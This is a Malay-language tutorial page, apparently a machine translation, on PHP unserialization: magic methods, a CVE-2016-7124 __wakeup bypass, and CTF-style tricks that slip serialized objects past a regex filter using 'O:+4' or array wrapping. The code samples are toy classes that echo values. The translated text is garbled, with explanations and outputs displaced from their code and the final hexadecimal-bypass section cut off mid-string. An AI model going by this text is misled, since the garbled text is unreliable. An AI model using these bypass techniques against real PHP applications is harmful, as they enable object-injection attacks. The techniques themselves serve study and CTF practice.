Rumah > pembangunan bahagian belakang > masalah PHP > Analisis ringkas PHP tentang mata pengetahuan struktur penyahserikatan

Analisis ringkas PHP tentang mata pengetahuan struktur penyahserikatan

WBOY
Lepaskan: 2023-03-16 16:38:01
ke hadapan
2039 orang telah melayarinya

Artikel ini terutamanya memperkenalkan anda kepada pengetahuan yang berkaitan tentang PHP sebenarnya menukar data kepada struktur data boleh balik Sememangnya, proses terbalik dipanggil penyahserilan. PHP menggunakan dua fungsi untuk mensiri dan menyahsiri data: bersiri memformat objek ke dalam rentetan tertib, dan unserialize memulihkan rentetan kepada objek asal saya harap ia akan membantu semua orang.

Analisis ringkas PHP tentang mata pengetahuan struktur penyahserikatan

(Tutorial yang disyorkan: Tutorial video PHP)

Pengenalan

Tujuan siri adalah untuk memudahkan data Penghantaran dan storan Dalam PHP, pensirilan dan penyahserikan biasanya digunakan untuk caching, seperti caching sesi, kuki, dsb.

Kaedah sihir biasa dalam penyahserialisasian

  • __wakeup() //Apabila melaksanakan unserialize(), fungsi ini akan dipanggil dahulu

  • __sleep() //Apabila melaksanakan serialize(), fungsi ini akan dipanggil dahulu

  • __destruct() //Dicetuskan apabila objek dimusnahkan

  • __call() //Dicetuskan apabila kaedah tidak boleh diakses dipanggil dalam konteks objek

  • __callStatic() //Dicetuskan apabila kaedah tidak boleh diakses dipanggil dalam konteks statik

  • __get() //Kaedah ini akan dipanggil apabila membaca data daripada atribut yang tidak boleh diakses atau jika kunci tidak wujud

  • __set() // Digunakan untuk menulis data kepada sifat yang tidak boleh diakses

  • __isset() // Dicetuskan dengan memanggil isset() atau empty() pada sifat yang tidak boleh diakses

  • __unset () //Dicetuskan apabila menggunakan unset() pada sifat tidak boleh diakses

  • __toString() //Dicetuskan apabila menggunakan kelas sebagai rentetan

  • __invoke() //Dicetuskan apabila cuba memanggil objek sebagai fungsi

Helah kecil pintasan penyahserialisasian

php7 .1 Penyahserialisasian tidak sensitif kepada atribut kelas

Seperti yang kami katakan sebelum ini, jika pembolehubah dilindungi, hasil bersiri akan didahului oleh x00*x00

tetapi dalam versi tertentu 7.1 atau lebih tinggi Ia tidak sensitif kepada atribut kelas contoh berikut masih akan mengeluarkan versi x00*x00abc

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = &#39;abc&#39;;
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize(&#39;O:4:"test":1:{s:1:"a";s:3:"abc";}&#39;);
Salin selepas log masuk
bypass_wakeup (CVE-2016-7124)

walaupun tiada

PHP5 < ; 5.6.25

PHP7 < 7.0.10

Kaedah penggunaan: Nilai yang menunjukkan bilangan atribut objek dalam rentetan bersiri adalah lebih besar daripada atribut sebenar Pelaksanaan __wakeup akan dilangkau apabila terdapat Tingkatkan nilai bilangan atribut objek dan laksanakan

Hasil output ialah

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = &#39;abc&#39;;
    }
    public function __wakeup(){
        $this->a=&#39;666&#39;;
    }
    public function  __destruct(){
        echo $this->a;
    }
}
Salin selepas log masuk
memintas beberapa peraturan biasa

unserialize(&#39;O:4:"test":1:{s:1:"a";s:3:"abc";}&#39;);666 untuk memadankan sama ada rentetan bersiri. bermula dengan rentetan objek Ini juga merupakan titik ujian yang serupa dalam CTF sebelumnya

Gunakan tanda tambah untuk memintas (perhatikan bahawa apabila menghantar parameter dalam URL, ia mesti dikodkan sebagai +) unserialize(&#39;O:4:"test":2:{s:1:"a";s:3:"abc";}&#39;); abc

//a bermaksud objek Desiri (hasil bersiri bermula dengan a, yang tidak menjejaskan pemusnahan $a sebagai elemen tatasusunan)

Gunakan rujukanpreg_match(&#39;/^O:d /&#39;)

Contoh di atas akan

Ditetapkan sebagai rujukan kepada

, anda boleh menjadikan serialize(array(a ) ) ; / / a));//a)); sentiasa sama dengan

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = &#39;abc&#39;;
    }
    public function  __destruct(){
        echo $this->a.PHP_EOL;
    }
}
function match($data){
    if (preg_match(&#39;/^O:\d+/&#39;,$data)){
        die(&#39;you lose!&#39;);
    }else{
        return $data;
    }
}
$a = &#39;O:4:"test":1:{s:1:"a";s:3:"abc";}&#39;;
// +号绕过
$b = str_replace(&#39;O:4&#39;,&#39;O:+4&#39;, $a);
unserialize(match($b));
// serialize(array($a));
unserialize(&#39;a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}&#39;);
Salin selepas log masuk

Penapisan aksara pintasan heksadesimal

<?php
class test{
    public $a;
    public $b;
    public function __construct(){
        $this->a = &#39;abc&#39;;
        $this->b= &$this->a;
    }
    public function  __destruct(){

        if($this->a===$this->b){
            echo 666;
        }
    }
}
$a = serialize(new test());
Salin selepas log masuk
O:4: "ujian":2 :{s:4:“

Atas ialah kandungan terperinci Analisis ringkas PHP tentang mata pengetahuan struktur penyahserikatan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
php
sumber:jb51.net
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan